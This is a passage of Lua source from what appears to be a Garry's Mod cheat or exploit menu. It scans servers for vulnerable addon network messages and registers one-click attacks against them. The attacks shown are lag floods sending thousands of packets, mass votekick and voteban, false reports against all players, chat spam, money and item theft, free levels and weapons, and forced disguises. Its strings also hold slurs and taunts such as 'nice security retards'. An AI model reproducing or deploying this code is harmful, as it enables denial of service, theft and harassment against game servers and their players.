5265addExploit( "33","Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
5266surface.PlaySound("garrysmod/ui_click.wav")
5267if !timer.Exists( "lagger11" ) then
5268timer.Create("lagger11", 0, 0, function()
5269for i = 1, 1000 do
5270net.Start("MG2.Request.GangRankings",true)
5271net.SendToServer()
5272end
5273end)
5274ECNotify("Starting Lagger")
5275else
5276timer.Remove("lagger11")
5277ECNotify("Stopping Lagger")
5278end
5279end )
5280end
5281
5282status = ValidNetString("dLogsGetCommand")
5283if (status) then
5284ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
5285addExploit( "34","Lagger #12", "b1g lags", function()
5286surface.PlaySound("garrysmod/ui_click.wav")
5287ECNotify("Starting Lagger")
5288for i=1,7000 do
5289net.Start("dLogsGetCommand",true)
5290net.WriteTable({ cmd = "+forward" , args = " " })
5291net.SendToServer()
5292end
5293end )
5294end
5295
5296status = ValidNetString("ats_send_toServer")
5297if (status) then
5298ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
5299addExploit( "35","Lagger #13", "big lags", function()
5300surface.PlaySound("garrysmod/ui_click.wav")
5301ECNotify("Starting Lagger")
5302for i=1,2000 do
5303net.Start("ats_send_toServer",true)
5304net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
5305net.SendToServer()
5306end
5307end )
5308end
5309
5310status = ValidNetString("shopguild_buyitem")
5311if (status) then
5312ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
5313addExploit( "36","Guild Exploit", "increases the level of your guild", function()
5314surface.PlaySound("garrysmod/ui_click.wav")
5315ECPrint("Guild level successfully upgraded")
5316local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
5317if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
5318net.Start("shopguild_buyitem")
5319net.WriteString("lvl")
5320net.WriteDouble(level)
5321net.WriteString("Guild Level "..level)
5322net.WriteEntity(LocalPlayer())
5323net.WriteUInt(2,4)
5324net.WriteDouble(0)
5325net.SendToServer()
5326level = level + 1
5327end )
5328end
5329
5330status = ValidNetString("VoteKickNO")
5331if (status) then
5332ECPrint("Found Exploit: Votekick [VoteKickNO]")
5333addExploit( "37","Votekick", "kicking all", function()
5334surface.PlaySound("garrysmod/ui_click.wav")
5335for k,v in pairs(player.GetAll()) do
5336net.Start("VoteKickNO")
5337net.WriteFloat(v:EntIndex())
5338net.WriteFloat(6)
5339net.SendToServer()
5340net.Start("VoteKickNO")
5341net.WriteFloat(v:EntIndex())
5342net.WriteFloat(6)
5343net.SendToServer()
5344net.Start("VoteKickNO")
5345net.WriteFloat(v:EntIndex())
5346net.WriteFloat(6)
5347net.SendToServer()
5348net.Start("VoteKickNO")
5349net.WriteFloat(v:EntIndex())
5350net.WriteFloat(6)
5351net.SendToServer()
5352end
5353end )
5354end
5355
5356status = ValidNetString("VoteBanNO")
5357if (status) then
5358ECPrint("Found Exploit: Voteban [VoteBanNO]")
5359addExploit( "38","Voteban", "bans all", function()
5360surface.PlaySound("garrysmod/ui_click.wav")
5361for k,v in pairs(player.GetAll()) do
5362net.Start("VoteBanNO")
5363net.WriteFloat(v:EntIndex())
5364net.WriteFloat(8)
5365net.SendToServer()
5366net.Start("VoteBanNO")
5367net.WriteFloat(v:EntIndex())
5368net.WriteFloat(8)
5369net.SendToServer()
5370net.Start("VoteBanNO")
5371net.WriteFloat(v:EntIndex())
5372net.WriteFloat(8)
5373net.SendToServer()
5374end
5375end )
5376end
5377
5378status = ValidNetString("NewReport")
5379if (status) then
5380ECPrint("Found Exploit: Custom Report [NewReport]")
5381addExploit( "39","Custom Report", "Report all faggots", function()
5382surface.PlaySound("garrysmod/ui_click.wav")
5383for k,v in pairs(player.GetAll()) do
5384net.Start("NewReport")
5385net.WriteType(ply)
5386net.WriteInt(8,5)
5387net.WriteString("hahaha")
5388net.SendToServer()
5389end
5390end )
5391end
5392
5393status = ValidNetString("Warn_CreateWarn")
5394if (status) then
5395ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
5396addExploit( "40","Custom Warn", "Warn all faggots", function()
5397surface.PlaySound("garrysmod/ui_click.wav")
5398for k,v in pairs(player.GetAll()) do
5399net.Start("Warn_CreateWarn")
5400net.WriteEntity(ply)
5401net.WriteString("hahaha")
5402net.SendToServer()
5403end
5404end )
5405end
5406
5407status = ValidNetString("showDisguiseHUD")
5408if (status) then
5409ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
5410addExploit( "41","Disguise #2", "allows you to disguise as any job", function()
5411surface.PlaySound("garrysmod/ui_click.wav")
5412ECPrint("Choose a disguise")
5413PlayerCount = 0
5414for k, v in pairs(player.GetAll()) do
5415PlayerCount = PlayerCount + 1
5416end
5417local TeamNum
5418local disguise_Model_Preview_Default
5419local base = vgui.Create("DFrame")
5420base:SetSize(300,420)
5421base:Center()
5422base:SetTitle(" ")
5423base:ShowCloseButton(false)
5424base:MakePopup()
5425function base:Paint()
5426draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
5427draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
5428draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
5429draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
5430draw.SimpleText("Disguise", "DisFontBold", base:GetWide()/4, -1)
5431end
5432local ExitButton = vgui.Create("DButton", base)
5433ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
5434ExitButton:SetText("Close")
5435ExitButton:SetSize(60,20)
5436ExitButton:SetFont("DermaDefaultBold")
5437ExitButton.Paint = function()
5438if ExitButton.Hovered then
5439if ExitButton:IsDown() then
5440ExitButton:SetTextColor(Color(200,200,200,200))
5441draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
5442else
5443ExitButton:SetTextColor(Color(255,255,255,255))
5444draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
5445end
5446else
5447ExitButton:SetTextColor(Color(20,20,20,200))
5448draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
5449end
5450end
5451function ExitButton.DoClick()
5452base:Remove()
5453net.Start("changeToPhysgun")
5454net.SendToServer()
5455end
5456local DTeamChoice = vgui.Create("DComboBox", base)
5457DTeamChoice:SetSize(150, 22)
5458DTeamChoice:SetPos(75, 50)
5459DTeamChoice:SetValue("Select Job")
5460for k, v in pairs(team.GetAllTeams()) do
5461if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
5462end
5463DTeamChoice.OnSelect = function(panel, index, value)
5464for k,_ in pairs(team.GetAllTeams()) do
5465if value == team.GetName(k) then
5466for _, v in pairs(player.GetAll())do
5467if v:Team() == k then
5468TeamNum = v:Team()
5469disguise_Model_Preview_Default = v:GetModel()
5470end
5471end
5472end
5473end
5474timer.Create("RefreshModel", 0.1, 0, function()
5475local icon = vgui.Create( "DModelPanel", base )
5476icon:SetSize(300, 260)
5477icon:SetPos(-5, 80)
5478icon:SetFOV(68)
5479icon:SetModel( disguise_Model_Preview_Default )
5480timer.Simple(0.1, function()
5481icon:Remove()
5482end)
5483end)
5484local DisguiseButton = vgui.Create("DButton", base)
5485DisguiseButton:SetPos(base:GetWide()/2.5, 360)
5486DisguiseButton:SetSize(60,20)
5487DisguiseButton:SetText("Accept")
5488DisguiseButton:SetFont("DermaDefaultBold")
5489function DisguiseButton:Paint()
5490if DisguiseButton.Hovered then
5491if DisguiseButton:IsDown() then
5492DisguiseButton:SetTextColor(Color(200,200,200,200))
5493draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
5494else
5495DisguiseButton:SetTextColor(Color(255,255,255,255))
5496draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
5497end
5498else
5499DisguiseButton:SetTextColor(Color(20,20,20,200))
5500draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
5501end
5502end
5503function DisguiseButton:DoClick()
5504net.Start("SetPlayerModel")
5505if ChosenName == nil then
5506net.WriteString(LocalPlayer():Nick())
5507else
5508net.WriteString(ChosenName)
5509end
5510net.WriteUInt(TeamNum, 16)
5511net.SendToServer()
5512base:Close()
5513net.Start("changeToPhysgun")
5514net.SendToServer()
5515end
5516end
5517end
5518)
5519end
5520
5521status = ValidNetString("Chatbox_PlayerChat")
5522if (status) then
5523ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
5524addExploit( "42","WilloxChat Spam", "spam in chat", function()
5525surface.PlaySound("garrysmod/ui_click.wav")
5526ECNotify("Starting")
5527timer.Create("willoxchatspam", 1, 0, function()
5528net.Start("Chatbox_PlayerChat")
5529net.WriteEntity(LocalPlayer())
5530net.WriteBit(1)
5531net.WriteString("FAGGOTS")
5532net.WriteBit(1)
5533net.SendToServer()
5534end )
5535end )
5536end
5537
5538status = ValidNetString("BuilderXToggleKill")
5539if (status) then
5540ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
5541addExploit( "43","BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
5542surface.PlaySound("garrysmod/ui_click.wav")
5543ECNotify("Starting")
5544for k, v in pairs(player.GetAll()) do
5545net.Start("BuilderXToggleKill")
5546net.WriteEntity(ply)
5547net.SendToServer()
5548end
5549end )
5550end
5551
5552status = ValidNetString("reports.submit")
5553if (status) then
5554ECPrint("Found Exploit: Report All [reports.submit]")
5555addExploit( "44","Report All", "Report all faggots", function()
5556surface.PlaySound("garrysmod/ui_click.wav")
5557ECNotify("Starting")
5558for k,v in pairs(player.GetAll()) do
5559net.Start("reports.submit")
5560net.WriteEntity(v)
5561net.WriteInt(5, 8)
5562net.WriteString("SuckMyDick")
5563net.SendToServer()
5564end
5565end )
5566end
5567
5568status = ValidNetString("services_accept")
5569if (status) then
5570ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
5571addExploit( "45","Infernus Service Accept", "spam to all players", function()
5572surface.PlaySound("garrysmod/ui_click.wav")
5573ECNotify("Starting")
5574timer.Create("serviceaccept", 0, 0, function()
5575for k,v in pairs(player.GetAll()) do
5576net.Start("services_accept")
5577net.WriteString("Nice security, retards xd")
5578net.WriteVector(Vector(v:GetPos()))
5579net.WriteString("test image")
5580net.WriteEntity(v)
5581net.SendToServer()
5582end
5583end )
5584timer.Simple(4, function()
5585timer.Destroy("serviceaccept")
5586end )
5587end )
5588end
5589
5590status = ValidNetString("lockpick_sound")
5591if (status) then
5592ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
5593addExploit( "46","LockPick Sound Spam", "", function()
5594surface.PlaySound("garrysmod/ui_click.wav")
5595ECNotify("Starting")
5596timer.Create( "spamlockpicksound", 3, 0, function()
5597for k, v in pairs( player.GetAll() ) do
5598net.Start("lockpick_sound")
5599net.WriteEntity(v)
5600net.SendToServer()
5601end
5602end )
5603timer.Simple(4, function()
5604timer.Destroy("spamlockpicksound")
5605end )
5606end )
5607end
5608
5609status = ValidNetString("customprinter_get")
5610if (status) then
5611ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
5612addExploit( "47","Realistic Printers Steal Money", "stealing money from printers", function()
5613surface.PlaySound("garrysmod/ui_click.wav")
5614ECNotify("Starting")
5615for k, v in pairs(ents.GetAll()) do
5616if v:GetClass():find("print") then
5617net.Start("customprinter_get")
5618net.WriteEntity(v)
5619net.WriteString("g_money")
5620net.SendToServer()
5621end
5622end
5623end )
5624end
5625
5626status = ValidNetString("InformPlayer")
5627if (status) then
5628ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
5629addExploit( "48","SimpleGrab Inform", "Spam all players in the console", function()
5630surface.PlaySound("garrysmod/ui_click.wav")
5631ECNotify("Starting")
5632for k,v in pairs(player.GetAll()) do
5633for i = 0, 100 do
5634net.Start("InformPlayer")
5635net.WriteEntity(v)
5636net.SendToServer()
5637end
5638end
5639end )
5640end
5641
5642status = ValidNetString("pogcp_report_submitReport")
5643if (status) then
5644ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
5645addExploit( "49","Report All #2", "Report all faggots", function()
5646surface.PlaySound("garrysmod/ui_click.wav")
5647ECNotify("Starting")
5648for i = 0, 100 do
5649for k,v in pairs(player.GetAll()) do
5650net.Start("pogcp_report_submitReport")
5651net.WriteString("lol")
5652net.WriteString("nice security retards")
5653net.WriteEntity(v)
5654net.SendToServer()
5655end
5656end
5657end )
5658end
5659
5660status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5661if (status) then
5662ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
5663addExploit( "50","Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
5664surface.PlaySound("garrysmod/ui_click.wav")
5665ECNotify("Starting")
5666net.Start("1942_Fuhrer_SubmitCandidacy")
5667net.WriteString(LocalPlayer():Nick())
5668net.SendToServer()
5669end )
5670end
5671
5672status = ValidNetString("FacCreate")
5673if (status) then
5674ECPrint("Found Exploit: Fac Create [FacCreate]")
5675addExploit( "51","Fac Create", "old exploit", function()
5676surface.PlaySound("garrysmod/ui_click.wav")
5677ECNotify("Starting")
5678timer.Create("fucklol", 1, 0, function()
5679net.Start("FacCreate")
5680net.WriteString("LOL " .. random_string(5))
5681net.WriteString("LOL " .. random_string(10))
5682net.WriteColor(random_color())
5683net.WriteBool(false)
5684net.WriteString(random_string(5))
5685net.SendToServer()
5686end )
5687end )
5688end
5689
5690status = ValidNetString("FactionInviteConsole")
5691if (status) then
5692ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
5693addExploit( "52","Faction Invite", "", function()
5694surface.PlaySound("garrysmod/ui_click.wav")
5695ECNotify("Starting")
5696timer.Create("lovedarkexploitsxd", 1, 0, function()
5697for k, v in pairs(player.GetAll()) do
5698net.Start("FactionInviteConsole")
5699net.WriteEntity( ply )
5700net.WriteEntity(table.Random(player.GetAll()))
5701net.SendToServer()
5702end
5703end )
5704end )
5705end
5706
5707status = ValidNetString("WithdrewBMoney")
5708if (status) then
5709ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
5710addExploit( "53","Free Money #2", "an exploit in the addon 'business'", function()
5711surface.PlaySound("garrysmod/ui_click.wav")
5712ECNotify("Starting")
5713net.Start("WithdrewBMoney")
5714net.WriteInt(50000,32)
5715net.SendToServer()
5716end )
5717end
5718
5719status = ValidNetString("deathrag_takeitem")
5720if (status) then
5721ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
5722addExploit( "54","Easy Items", "collects money, weapons", function()
5723surface.PlaySound("garrysmod/ui_click.wav")
5724ECNotify("Starting")
5725count = 0
5726for k, v in pairs( ents.GetAll() ) do
5727if v:GetClass() == "prop_ragdoll" then
5728count = count + 1
5729end
5730end
5731if count == 0 then
5732ECPrint("No items found")
5733else
5734ECPrint("Amount of items "..count)
5735end
5736for k, v in pairs( ents.GetAll() ) do
5737if v:GetClass() == "prop_ragdoll" then
5738for i=1,10 do
5739net.Start("deathrag_takeitem")
5740net.WriteEntity( v )
5741net.WriteInt(i,16)
5742net.SendToServer()
5743end
5744end
5745end
5746end )
5747end
5748
5749status = ValidNetString("REPPurchase")
5750if (status) then
5751ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
5752addExploit( "55","Heal and Armor", "armor and hp", function()
5753surface.PlaySound("garrysmod/ui_click.wav")
5754ECNotify("Starting")
5755if LocalPlayer():Health() < 99 then
5756net.Start("REPPurchase")
5757net.WriteString("HEALTH")
5758net.SendToServer()
5759end
5760if LocalPlayer():Armor() < 99 then
5761net.Start("REPPurchase")
5762net.WriteString("ARMOR")
5763net.SendToServer()
5764end
5765end )
5766end
5767
5768status = ValidNetString("BTTTStartVotekick")
5769if (status) then
5770ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
5771addExploit( "56","Votekick #2", "kick all noobs", function()
5772surface.PlaySound("garrysmod/ui_click.wav")
5773ECNotify("Starting")
5774for k,v in pairs(player.GetAll()) do
5775if v != LocalPlayer() then
5776net.Start("BTTTStartVotekick")
5777net.Start("_nonDBVMVote")
5778net.WriteEntity(v)
5779net.WriteString("")
5780net.WriteString("1")
5781net.SendToServer()
5782end
5783end
5784end )
5785end
5786
5787status = ValidNetString("Resupply")
5788if (status) then
5789ECPrint("Found Exploit: Respawn Equipment [Resupply]")
5790addExploit( "57","Respawn Equipment", "", function()
5791surface.PlaySound("garrysmod/ui_click.wav")
5792ECNotify("Starting")
5793net.Start("Resupply")
5794net.SendToServer()
5795end )
5796end
5797
5798status = ValidNetString("DarkRP_Defib_ForceSpawn")
5799if (status) then
5800ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
5801addExploit( "58","Respawn #2", "just respawn", function()
5802surface.PlaySound("garrysmod/ui_click.wav")
5803ECNotify("Respawn")
5804net.Start("DarkRP_Defib_ForceSpawn")
5805net.SendToServer()
5806end )
5807end
5808
5809status = ValidNetString("FiremanLeave")
5810if (status) then
5811ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
5812addExploit( "59","Fireman Leave", "", function()
5813surface.PlaySound("garrysmod/ui_click.wav")
5814ECNotify("Starting")
5815net.Start("FiremanLeave")
5816net.SendToServer()
5817end )
5818end
5819
5820status = ValidNetString("PoliceJoin")
5821if (status) then
5822ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
5823addExploit( "60","Join the Police 1", "joining the police", function()
5824surface.PlaySound("garrysmod/ui_click.wav")
5825ECNotify("Starting")
5826net.Start("PoliceJoin")
5827net.SendToServer()
5828end )
5829end
5830
5831status = ValidNetString("CreateEntity")
5832if (status) then
5833ECPrint("Found Exploit: Create Entity [CreateEntity]")
5834addExploit( "61","Create Entity", "", function()
5835surface.PlaySound("garrysmod/ui_click.wav")
5836ECNotify("Starting")
5837for k,v in pairs(player.GetAll()) do
5838net.Start("CreateEntity")
5839net.WriteString("sent_arc_atm")
5840net.WriteFloat(100000000000000000000000000000000000000000000000000)
5841net.WriteEntity(v)
5842net.SendToServer()
5843end
5844end )
5845end
5846
5847status = ValidNetString("CREATE_REPORT")
5848if (status) then
5849ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
5850addExploit( "62","CREATE REPORT", "", function()
5851surface.PlaySound("garrysmod/ui_click.wav")
5852ECNotify("Starting")
5853local tab = {
5854 REPORTER = v:Nick(),
5855 REPORTERID = v:SteamID(),
5856 FAGGOT = v:Nick(),
5857 FAGGOTID = v:SteamID(),
5858 INFO = "Say hi to youtube",
5859 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
5860 }
5861for k,v in pairs(player.GetAll()) do
5862net.Start("CREATE_REPORT")
5863net.WriteTable(tab)
5864net.SendToServer()
5865end
5866end )
5867end
5868
5869status = ValidNetString("Hopping_Test")
5870if (status) then
5871ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
5872addExploit( "62","Hopping Test", "", function()
5873surface.PlaySound("garrysmod/ui_click.wav")
5874ECNotify("Starting")
5875for k,v in pairs(player.GetAll()) do
5876net.Start("Hopping_Test")
5877net.WriteEntity(v)
5878net.WriteString("69.696.696969.69")
5879net.SendToServer()
5880end
5881end )
5882end
5883
5884status = ValidNetString("CpForm_Answers")
5885if (status) then
5886ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
5887addExploit( "63","Join the Police 2", "joining the police #2", function()
5888surface.PlaySound("garrysmod/ui_click.wav")
5889ECNotify("Starting")
5890net.Start("CpForm_Answers")
5891net.WriteEntity(LocalPlayer())
5892net.WriteTable({})
5893net.SendToServer()
5894end )
5895end
5896
5897status = ValidNetString("VehicleUnderglow")
5898if (status) then
5899ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
5900addExploit( "64","Vehicle Underglow", "", function()
5901surface.PlaySound("garrysmod/ui_click.wav")
5902ECNotify("Starting")
5903net.Start("VehicleUnderglow")
5904net.SendToServer()
5905end )
5906end
5907
5908status = ValidNetString("OpenGates")
5909if (status) then
5910ECPrint("Found Exploit: Open Door #2 [OpenGates]")
5911addExploit( "65","Open Door #2", "Force open the door you are looking at", function()
5912surface.PlaySound("garrysmod/ui_click.wav")
5913ECNotify("Starting")
5914net.Start("OpenGates")
5915net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5916net.SendToServer()
5917end )
5918end
5919
5920status = ValidNetString("DemotePlayer")
5921if (status) then
5922ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
5923addExploit( "66","Demote All Players", "Demote all players", function()
5924surface.PlaySound("garrysmod/ui_click.wav")
5925ECNotify("Starting")
5926for k, v in pairs(player.GetAll()) do
5927net.Start("DemotePlayer")
5928net.WriteString(v:SteamID())
5929net.SendToServer()
5930end
5931end )
5932end
5933
5934status = ValidNetString("SendMail")
5935if (status) then
5936ECPrint("Found Exploit: Send Mail [SendMail]")
5937addExploit( "67","Send Mail", "sending mail to all players", function()
5938surface.PlaySound("garrysmod/ui_click.wav")
5939ECNotify("Starting")
5940for k,v in pairs(player.GetAll()) do
5941net.Start("SendMail")
5942net.WriteString("haha nice security retards")
5943net.WriteString(v:Nick())
5944net.SendToServer()
5945end
5946end )
5947end
5948
5949status = ValidNetString("REPAdminChangeLVL")
5950if (status) then
5951ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
5952addExploit( "68","Admin Change Level", "free lvl", function()
5953surface.PlaySound("garrysmod/ui_click.wav")
5954ECNotify("Starting")
5955for k,v in pairs(player.GetAll()) do
5956net.Start("REPAdminChangeLVL")
5957net.WriteEntity(v)
5958net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5959net.SendToServer()
5960end
5961end )
5962end
5963
5964status = ValidNetString("BuyUpgradesStuff")
5965if (status) then
5966ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
5967addExploit( "69","Buy Upgrades", "free upgrades", function()
5968surface.PlaySound("garrysmod/ui_click.wav")
5969ECNotify("Starting")
5970net.Start("BuyUpgradesStuff")
5971net.WriteString("")
5972net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5973net.SendToServer()
5974end )
5975end
5976
5977status = ValidNetString("SquadGiveWeapon")
5978if (status) then
5979ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
5980addExploit( "70","Give Weapons", "easy weapon", function()
5981surface.PlaySound("garrysmod/ui_click.wav")
5982inputFrameExists = true
5983inputFrame = vgui.Create( "DFrame" )
5984inputFrame:SetTitle("Choose a weapon!")
5985inputFrame:SetSize( 400, 75 )
5986inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5987inputFrame:SetDraggable(false)
5988inputFrame:ShowCloseButton(true)
5989inputFrame:MakePopup()
5990inputFrame.Paint = function( self, w, h )
5991draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5992end
5993local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5994TextEntry:SetSize( 380, 30 )
5995TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5996TextEntry:SetText( "ls_sniper" )
5997TextEntry.OnEnter = function( self )
5998surface.PlaySound("garrysmod/ui_click.wav")
5999ECNotify("Giving Weapon")
6000net.Start("SquadGiveWeapon")
6001net.WriteString( self:GetValue() )
6002net.WriteEntity(LocalPlayer())
6003net.SendToServer()
6004inputFrame:SetVisible(false)
6005end
6006end )
6007end
6008
6009status = ValidNetString("SetTableTarget")
6010if (status) then
6011ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
6012addExploit( "71","Set Table Target", "", function()
6013surface.PlaySound("garrysmod/ui_click.wav")
6014ECNotify("Starting")
6015net.Start("SetTableTarget")
6016net.WriteString("pername")
6017net.WriteString("perjob")
6018net.WriteInt(-10000000000000, 32)
6019net.WriteString("hitmansel")
6020net.WriteString("Anony.")
6021net.WriteString("")
6022net.WriteFloat(0)
6023net.WriteInt(-10000000000000, 32)
6024net.SendToServer()
6025end )
6026end
6027
6028status = ValidNetString("UpdateRPUModelSQL")
6029if (status) then
6030ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
6031addExploit( "72","Change character model", "", function()
6032surface.PlaySound("garrysmod/ui_click.wav")
6033ECNotify("Starting")
6034net.Start("UpdateRPUModelSQL")
6035net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
6036net.SendToServer()
6037end )
6038end
6039
6040status = ValidNetString("disguise")
6041if (status) then
6042ECPrint("Found Exploit: Disguise [disguise]")
6043addExploit( "73","Disguise", "allows you to disguise as any job", function()
6044surface.PlaySound("garrysmod/ui_click.wav")
6045inputFrameExists = true
6046inputFrame = vgui.Create( "DFrame" )
6047inputFrame:SetTitle("Enter the number of the job")
6048inputFrame:SetSize( 400, 75 )
6049inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6050inputFrame:SetDraggable(false)
6051inputFrame:ShowCloseButton(true)
6052inputFrame:MakePopup()
6053inputFrame.Paint = function( self, w, h )
6054draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6055end
6056local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6057TextEntry:SetSize( 380, 30 )
6058TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6059TextEntry:SetText( "5" )
6060TextEntry.OnEnter = function( self )
6061surface.PlaySound("garrysmod/ui_click.wav")
6062ECNotify("Disguised")
6063net.Start("disguise")
6064net.WriteInt(tonumber(self:GetValue()), 32)
6065net.SendToServer()
6066inputFrame:SetVisible(false)
6067end
6068end )
6069end
6070
6071status = ValidNetString("gportal_rpname_change")
6072if (status) then
6073ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
6074addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
6075surface.PlaySound("garrysmod/ui_click.wav")
6076inputFrameExists = true
6077inputFrame = vgui.Create( "DFrame" )
6078inputFrame:SetTitle("Enter your name")
6079inputFrame:SetSize( 400, 75 )
6080inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6081inputFrame:SetDraggable(false)
6082inputFrame:ShowCloseButton(true)
6083inputFrame:MakePopup()
6084inputFrame.Paint = function( self, w, h )
6085draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6086end
6087local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6088TextEntry:SetSize( 380, 30 )
6089TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6090TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6091TextEntry.OnEnter = function( self )
6092surface.PlaySound("garrysmod/ui_click.wav")
6093ECNotify("Changed")
6094net.Start("gportal_rpname_change")
6095net.WriteString( (self:GetValue()), 32)
6096net.WriteString(" ")
6097net.SendToServer()
6098inputFrame:SetVisible(false)
6099end
6100end )
6101end
6102
6103status = ValidNetString("NewRPNameSQL")
6104if (status) then
6105ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
6106addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
6107surface.PlaySound("garrysmod/ui_click.wav")
6108inputFrameExists = true
6109inputFrame = vgui.Create( "DFrame" )
6110inputFrame:SetTitle("Enter your name")
6111inputFrame:SetSize( 400, 75 )
6112inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6113inputFrame:SetDraggable(false)
6114inputFrame:ShowCloseButton(true)
6115inputFrame:MakePopup()
6116inputFrame.Paint = function( self, w, h )
6117draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6118end
6119local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6120TextEntry:SetSize( 380, 30 )
6121TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6122TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
6123TextEntry.OnEnter = function( self )
6124surface.PlaySound("garrysmod/ui_click.wav")
6125ECNotify("Changed")
6126net.Start("NewRPNameSQL")
6127net.WriteString( (self:GetValue()), 32)
6128net.SendToServer()
6129inputFrame:SetVisible(false)
6130end
6131end )
6132end
6133
6134status = ValidNetString("chname")
6135if (status) then
6136ECPrint("Found Exploit: Your RP Name #3 [chname]")
6137addExploit( "76","Your RP Name #3", "discovered by Leith", function()
6138surface.PlaySound("garrysmod/ui_click.wav")
6139inputFrameExists = true
6140inputFrame = vgui.Create( "DFrame" )
6141inputFrame:SetTitle("Enter your name")
6142inputFrame:SetSize( 400, 75 )
6143inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6144inputFrame:SetDraggable(false)
6145inputFrame:ShowCloseButton(true)
6146inputFrame:MakePopup()
